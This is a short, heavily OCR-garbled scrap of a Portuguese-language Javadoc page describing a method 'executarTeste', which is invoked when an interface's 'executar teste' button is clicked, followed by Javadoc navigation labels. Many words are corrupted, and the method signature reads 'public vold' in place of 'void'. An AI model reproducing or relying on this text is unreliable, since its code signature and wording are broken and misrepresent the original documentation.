executarTeste
public vold executarTeste ()

Dye sericiio copiado de interface: Extensao

ESSE Método E QUANDO mwocado o Botio executar teste da mterface de clicado diretor .

Viséio global Pacote Classe Usar Arvore De precated indice Ajudar

PFREY CLASSE  proima mala FRAMES Sem quadms  Tedas as Classes
RESUSO: NESTED | CAMPO | QOMSTRE | METODNE DETALHE CAMPO| CONSTR | METOIN
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